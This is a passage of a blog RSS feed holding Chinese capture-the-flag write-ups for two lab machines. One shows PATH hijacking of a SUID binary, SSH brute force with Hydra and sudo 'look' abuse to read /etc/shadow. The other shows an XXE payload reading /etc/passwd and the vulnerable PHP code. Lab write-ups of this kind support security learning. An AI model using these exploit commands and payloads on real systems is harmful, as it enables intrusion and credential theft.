[-] Error executing id command
uid=%*u(%[^)])
[-] Error reading username from id command
[!] ID: %s
/home/%s/.passwords
[-] File /home/%s/.passwords not found
:*3$&amp;quot;
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
pwm.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
putchar@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__isoc99_fscanf@@GLIBC_2.7
puts@@GLIBC_2.2.5
_edata
fclose@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
pclose@@GLIBC_2.2.5
snprintf@@GLIBC_2.2.5
fgetc@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
popen@@GLIBC_2.2.5
fopen@@GLIBC_2.2.5
perror@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;它尝试运行&lt;code&gt;id&lt;/code&gt;命令来获取用户名和UID&lt;/li&gt;
&lt;li&gt;它寻找文件&lt;code&gt;/home/%s/.passwords&lt;/code&gt;（%s是用户名）&lt;/li&gt;
&lt;li&gt;如果文件不存在，会显示错误信息&amp;quot;[-] File /home/%s/.passwords not found&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个程序可能是一个自定义的程序，用于管理密码。由于它是SUID root，我们可以尝试利用它。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@lookup:/home/think$ /usr/sbin/pwm
[!] Running &amp;#39;id&amp;#39; command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;1. popen(&amp;quot;id&amp;quot;, &amp;quot;r&amp;quot;)
2. 从 id 输出中解析：
   uid=XXXX(username)
3. 得到 username
4. 拼路径：
   /home/&amp;lt;username&amp;gt;/.passwords
5. fopen 这个文件
6. 逐字符读取并打印
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序使用&lt;code&gt;popen()&lt;/code&gt;来执行&lt;code&gt;id&lt;/code&gt;命令。这意味着我们可以尝试通过环境变量&lt;code&gt;PATH&lt;/code&gt;来劫持&lt;code&gt;id&lt;/code&gt;命令，从而控制其输出。&lt;br&gt;我们可以创建一个恶意的&lt;code&gt;id&lt;/code&gt;脚本，让它输出我们想要的用户名，比如&lt;code&gt;root&lt;/code&gt;，这样程序就会去读取&lt;code&gt;/root/.passwords&lt;/code&gt;文件。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;#39;echo &amp;quot;uid=0((remote) www-data@lookup:/tmp$ echo &amp;#39;echo &amp;quot;uid=0(root) gid=0(root) groups=0(root)&amp;quot;&amp;#39; &amp;gt;&amp;gt; id
(remote) www-data@lookup:/tmp$ chmod +x id
(remote) www-data@lookup:/tmp$ export PATH=/tmp:$PATH
(remote) www-data@lookup:/tmp$ /usr/sbin/pwm
[!] Running &amp;#39;id&amp;#39; command to extract the username and user ID (UID)
[!] ID: root
[-] File /home/root/.passwords not found
(remote) www-data@lookup:/tmp$ /tmp/rootbash -p
www-data@lookup:/tmp$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;echo &amp;quot;uid=1000(think) gid=1000(think) groups=1000(think)&amp;quot;&lt;/p&gt;
&lt;p&gt;它的作用是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;把这串字符串

原样写到 stdout

让 pwm 通过 fscanf() 成功解析
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h4&gt;fake &lt;code&gt;id&lt;/code&gt; 本质上是一个“程序”&lt;/h4&gt;
&lt;p&gt;你现在创建的是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/tmp/id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当 &lt;code&gt;pwm&lt;/code&gt; 执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;popen(&amp;quot;id&amp;quot;, &amp;quot;r&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;系统做的是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/tmp/id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 &lt;strong&gt;那它期望什么？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;答案：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;期望这个程序在 stdout 上打印一行类似 &lt;strong&gt;&lt;code&gt;**id**&lt;/code&gt;&lt;/strong&gt; 的输出&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;如果不写 &lt;code&gt;echo&lt;/code&gt; 会发生什么？&lt;/h4&gt;
&lt;p&gt;假设你这样写：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cat &amp;gt; id &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
uid=1000(think) gid=1000(think)
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那 &lt;code&gt;/tmp/id&lt;/code&gt; 实际内容是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;uid=1000(think) gid=1000(think)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行时会发生什么？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;shell 尝试把 &lt;code&gt;uid=1000(think)&lt;/code&gt; 当命令&lt;/li&gt;
&lt;li&gt;❌ 命令不存在&lt;/li&gt;
&lt;li&gt;❌ 没有任何 stdout 输出&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cd /tmp
cat &amp;gt; id &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
echo &amp;quot;uid=1000(think) gid=1000(think) groups=1000(think)&amp;quot;
EOF

chmod +x id
export PATH=/tmp:$PATH
www-data@lookup:/tmp$ /usr/sbin/pwm
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[!] ID: think
jose1006
jose1004
jose1002
jose1001teles
jose100190
jose10001
jose10.asd
jose10+
jose0_07
jose0990
jose0986$
jose098130443
jose0981
jose0924
jose0923
jose0921
thepassword
jose(1993)
jose&amp;#39;sbabygurl
jose&amp;amp;vane
jose&amp;amp;takie
jose&amp;amp;samantha
jose&amp;amp;pam
jose&amp;amp;jlo
jose&amp;amp;jessica
jose&amp;amp;jessi
josemario.AKA(think)
jose.medina.
jose.mar
jose.luis.24.oct
jose.line
jose.leonardo100
jose.leas.30
jose.ivan
jose.i22
jose.hm
jose.hater
jose.fa
jose.f
jose.dont
jose.d
jose.com}
jose.com
jose.chepe_06
jose.a91
jose.a
jose.96.
jose.9298
jose.2856171
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ssh爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# hydra -l think -P passwd ssh://192.168.0.103              
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 23:26:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:1/p:49), ~4 tries per task
[DATA] attacking ssh://192.168.0.103:22/
[22][ssh] host: 192.168.0.103   login: think   password: josemario.AKA(think)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 23:26:34
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到凭据think/josemario.AKA(think)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;think@lookup:~$ cat user.txt 
38375fb4dd8baa2b2039ac03d92b820e
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;think@lookup:~$ sudo -l
[sudo] password for think: 
Matching Defaults entries for think on lookup:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User think may run the following commands on lookup:
    (ALL) /usr/bin/look
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;think@lookup:~$ strings /usr/bin/look
/lib64/ld-linux-x86-64.so.2
libbsd.so.0
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
errc
libc.so.6
exit
setlocale
mbrtowc
towlower
optind
__stack_chk_fail
putchar
iswalnum
mmap
strlen
wcschr
malloc
optarg
stderr
getopt_long
fwrite
close
open
__cxa_finalize
errx
strerror
__libc_start_main
__fxstat
LIBBSD_0.0
GLIBC_2.4
GLIBC_2.2.5
AWAVAUATI
|$(1
L$(I
t$,H
tyH9
u+UH
AWAVAUATUSH
tTA9
tPI9
([]A\A]A^A_
[]A\A]A^A_
usage: look [-bdf] [-t char] string [file ...]
invalid termination character
+abdft:
%s: %s
stdout
alternative
binary
alphanum
ignore-case
terminate
:*3$&amp;quot;
/usr/share/dict/words
2d6cbfbc09e5ed78ae212ab4e9ef693c5ed04f.debug
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.gnu_debuglink
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt; 允许你以 &lt;strong&gt;root&lt;/strong&gt; 身份运行 &lt;code&gt;/usr/bin/look&lt;/code&gt;&lt;br&gt;而 &lt;strong&gt;look 可以读取任意文件内容&lt;/strong&gt;&lt;br&gt;👉 &lt;strong&gt;直接 sudo look 读 &lt;strong&gt;&lt;code&gt;**/etc/shadow**&lt;/code&gt;&lt;/strong&gt; / root flag / root shell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sudo look &amp;#39;&amp;#39; file&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;** &lt;strong&gt;👉&lt;/strong&gt; 等价于：打印文件中的所有行（≈ cat）&lt;br&gt;&lt;strong&gt;👉&lt;/strong&gt; 前提：look 的实现允许空字符串作为匹配前缀**&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;look&lt;/code&gt; 的本质逻辑是：&lt;/h3&gt;
&lt;p&gt;**打印 **&lt;strong&gt;以 STRING 开头的行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在字符串匹配理论里：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;任意字符串 都是 以 &amp;quot;&amp;quot;（空字符串）开头的
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;读取/etc/shadow&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;think@lookup:~$ sudo /usr/bin/look root /etc/shadow
root:$6$KP40TGoPGcMkX5td$L2jPqII/YjqUc5Ibisj4PFWNs8qtTaG6vNWOQ7v6ShPq5y/qeAmBoWgJrQnvcXUSYzYkqLdwqIcGZRBvhWc7y.:19977:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;读取/root/root.txt&lt;/h3&gt;
&lt;p&gt;sudo /usr/bin/look root /root/root.txt&lt;/p&gt;
&lt;p&gt;没有读到，看来不是以root开头&lt;/p&gt;
&lt;p&gt;写个脚本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;think@lookup:/tmp$ nano find_flag.sh

#!/bin/bash

FILE=&amp;quot;/root/root.txt&amp;quot;

for c in {A..Z} {a..z} {0..9} \{ \} _ -; do
    echo &amp;quot;[*] Trying &amp;#39;$c&amp;#39;&amp;quot;
    sudo /usr/bin/look &amp;quot;$c&amp;quot; &amp;quot;$FILE&amp;quot; &amp;amp;&amp;amp; break
done

think@lookup:/tmp$ chmod +x find_flag.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;think@lookup:/tmp$ ./find_flag.sh
[*] Trying &amp;#39;A&amp;#39;
[*] Trying &amp;#39;B&amp;#39;
[*] Trying &amp;#39;C&amp;#39;
[*] Trying &amp;#39;D&amp;#39;
[*] Trying &amp;#39;E&amp;#39;
[*] Trying &amp;#39;F&amp;#39;
[*] Trying &amp;#39;G&amp;#39;
[*] Trying &amp;#39;H&amp;#39;
[*] Trying &amp;#39;I&amp;#39;
[*] Trying &amp;#39;J&amp;#39;
[*] Trying &amp;#39;K&amp;#39;
[*] Trying &amp;#39;L&amp;#39;
[*] Trying &amp;#39;M&amp;#39;
[*] Trying &amp;#39;N&amp;#39;
[*] Trying &amp;#39;O&amp;#39;
[*] Trying &amp;#39;P&amp;#39;
[*] Trying &amp;#39;Q&amp;#39;
[*] Trying &amp;#39;R&amp;#39;
[*] Trying &amp;#39;S&amp;#39;
[*] Trying &amp;#39;T&amp;#39;
[*] Trying &amp;#39;U&amp;#39;
[*] Trying &amp;#39;V&amp;#39;
[*] Trying &amp;#39;W&amp;#39;
[*] Trying &amp;#39;X&amp;#39;
[*] Trying &amp;#39;Y&amp;#39;
[*] Trying &amp;#39;Z&amp;#39;
[*] Trying &amp;#39;a&amp;#39;
[*] Trying &amp;#39;b&amp;#39;
[*] Trying &amp;#39;c&amp;#39;
[*] Trying &amp;#39;d&amp;#39;
[*] Trying &amp;#39;e&amp;#39;
[*] Trying &amp;#39;f&amp;#39;
[*] Trying &amp;#39;g&amp;#39;
[*] Trying &amp;#39;h&amp;#39;
[*] Trying &amp;#39;i&amp;#39;
[*] Trying &amp;#39;j&amp;#39;
[*] Trying &amp;#39;k&amp;#39;
[*] Trying &amp;#39;l&amp;#39;
[*] Trying &amp;#39;m&amp;#39;
[*] Trying &amp;#39;n&amp;#39;
[*] Trying &amp;#39;o&amp;#39;
[*] Trying &amp;#39;p&amp;#39;
[*] Trying &amp;#39;q&amp;#39;
[*] Trying &amp;#39;r&amp;#39;
[*] Trying &amp;#39;s&amp;#39;
[*] Trying &amp;#39;t&amp;#39;
[*] Trying &amp;#39;u&amp;#39;
[*] Trying &amp;#39;v&amp;#39;
[*] Trying &amp;#39;w&amp;#39;
[*] Trying &amp;#39;x&amp;#39;
[*] Trying &amp;#39;y&amp;#39;
[*] Trying &amp;#39;z&amp;#39;
[*] Trying &amp;#39;0&amp;#39;
[*] Trying &amp;#39;1&amp;#39;
[*] Trying &amp;#39;2&amp;#39;
[*] Trying &amp;#39;3&amp;#39;
[*] Trying &amp;#39;4&amp;#39;
[*] Trying &amp;#39;5&amp;#39;
5a285a9f257e45c68bb6c9f9f57d18e8
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;think@lookup:~$ sudo look &amp;#39;&amp;#39; &amp;quot;/root/root.txt&amp;quot;
[sudo] password for think: 
5a285a9f257e45c68bb6c9f9f57d18e8
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/lookup/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/lookup/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate></item><item><title>MazeSec-112</title><link>https://heathc1iff-sec.github.io/blog/qq-group/112/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/qq-group/112/</guid><description>QQ Group Virtual Machine</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;

192.168.0.105   08:00:27:2a:e3:6f       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.105
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-15 23:23 EST
Nmap scan report for 192.168.0.105
Host is up (0.00025s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-title: XML Parser
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: 0.0.0.112; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.11 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;gobuster dir -u 192.168.0.105 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;XXE漏洞&lt;/h3&gt;
&lt;h4&gt;192.168.0.105/index.php&lt;/h4&gt;
&lt;p&gt;发现让输入xml代码，尝试利用xxe漏洞payload&lt;/p&gt;
&lt;h5&gt;读取/etc/passwd&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE root [
&amp;lt;!ENTITY file SYSTEM &amp;quot;file:///etc/passwd&amp;quot;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;
    &amp;lt;element1&amp;gt;&amp;amp;file;&amp;lt;/element1&amp;gt;
    &amp;lt;element2&amp;gt;Value2&amp;lt;/element2&amp;gt;
&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功读取passwd&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SimpleXMLElement Object
(
    [element1] =&amp;gt; root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
Debian-snmp:x:107:114::/var/lib/snmp:/bin/false
zabbix:x:108:115::/nonexistent:/usr/sbin/nologin

    [element2] =&amp;gt; Value2
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/112-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现存在特殊用户tuf-账号属性本身就很不正常 &lt;/p&gt;
&lt;p&gt;tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash&lt;/p&gt;
&lt;h6&gt;&lt;code&gt;/etc/passwd&lt;/code&gt; 的标准结构（7 个字段）&lt;/h6&gt;
&lt;p&gt;每一行&lt;strong&gt;必须&lt;/strong&gt;是下面这个格式，用冒号 &lt;code&gt;:&lt;/code&gt; 分隔：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;用户名 : 密码占位符 : UID : GID : GECOS : Home目录 : Login Shell
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;正常情况&lt;/th&gt;
&lt;th&gt;tuf 的情况&lt;/th&gt;
&lt;th&gt;是否异常&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;用户名&lt;/td&gt;
&lt;td&gt;字母数字&lt;/td&gt;
&lt;td&gt;tuf&lt;/td&gt;
&lt;td&gt;✅ 正常&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;密码占位&lt;/td&gt;
&lt;td&gt;x&lt;/td&gt;
&lt;td&gt;x&lt;/td&gt;
&lt;td&gt;✅ 正常&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UID&lt;/td&gt;
&lt;td&gt;1000+&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;✅ 正常&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GID&lt;/td&gt;
&lt;td&gt;对应组&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;✅ 正常&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GECOS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人名/描述&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;KQNPHFqG&lt;/strong&gt;JHcYJossIe**&lt;/td&gt;
&lt;td&gt;❌ &lt;strong&gt;异常&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Home&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/xxx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/tuf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅ 正常&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/bin/bash&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/bin/bash&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅ 正常&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h6&gt;&lt;code&gt;/etc/passwd&lt;/code&gt; 的 GECOS 有 3 个常见来源：&lt;/h6&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;adduser&lt;/code&gt; 时输入的姓名&lt;/li&gt;
&lt;li&gt;管理员随便填的注释&lt;/li&gt;
&lt;li&gt;留空&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;👉 &lt;strong&gt;几乎不会有人输入一串这种字符串，除非：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当作 &lt;strong&gt;提示&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;当作 &lt;strong&gt;密码线索&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;当作 &lt;strong&gt;flag 片段&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;当作 &lt;strong&gt;编码内容&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;读取flag&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt; &amp;lt;!DOCTYPE root [ &amp;lt;!ENTITY file SYSTEM &amp;quot;file:///home/tuf/user.txt&amp;quot;&amp;gt; ]&amp;gt; &amp;lt;root&amp;gt;     &amp;lt;element1&amp;gt;&amp;amp;file;&amp;lt;/element1&amp;gt;     &amp;lt;element2&amp;gt;Value2&amp;lt;/element2&amp;gt; &amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SimpleXMLElement Object
(
    [element1] =&amp;gt; flag{user-b1e12c74f19aac8e57f6fca1ff472905}

    [element2] =&amp;gt; Value2
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;读取源代码&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;XML Parser&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;?php
if(isset($_POST[&amp;#39;xml&amp;#39;])) {
    $xml = $_POST[&amp;#39;xml&amp;#39;];
    $data = simplexml_load_string($xml, &amp;#39;SimpleXMLElement&amp;#39;, LIBXML_NOENT);
    if($data) echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot; . htmlspecialchars(print_r($data, true)) . &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;
    else echo &amp;quot;&amp;lt;pre&amp;gt;Parse Error&amp;lt;/pre&amp;gt;&amp;quot;;
}
?&amp;gt;
    &amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;
        &amp;lt;textarea name=&amp;quot;xml&amp;quot; required&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;
        &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Parse XML&amp;quot;&amp;gt;
    &amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;漏洞成因&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$data = simplexml_load_string($xml, &amp;#39;SimpleXMLElement&amp;#39;, LIBXML_NOENT);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;LIBXML_NOENT&lt;/code&gt; 的作用是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;启用 XML 实体替换（Expand Entities）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XML 中定义的 &lt;code&gt;&amp;lt;!ENTITY ...&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;会被自动解析并替换为真实内容&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;p&gt;根据passwd中tufx中KQNPHFqG**JHcYJossIe，怀疑是密码，尝试补全登录&lt;/p&gt;
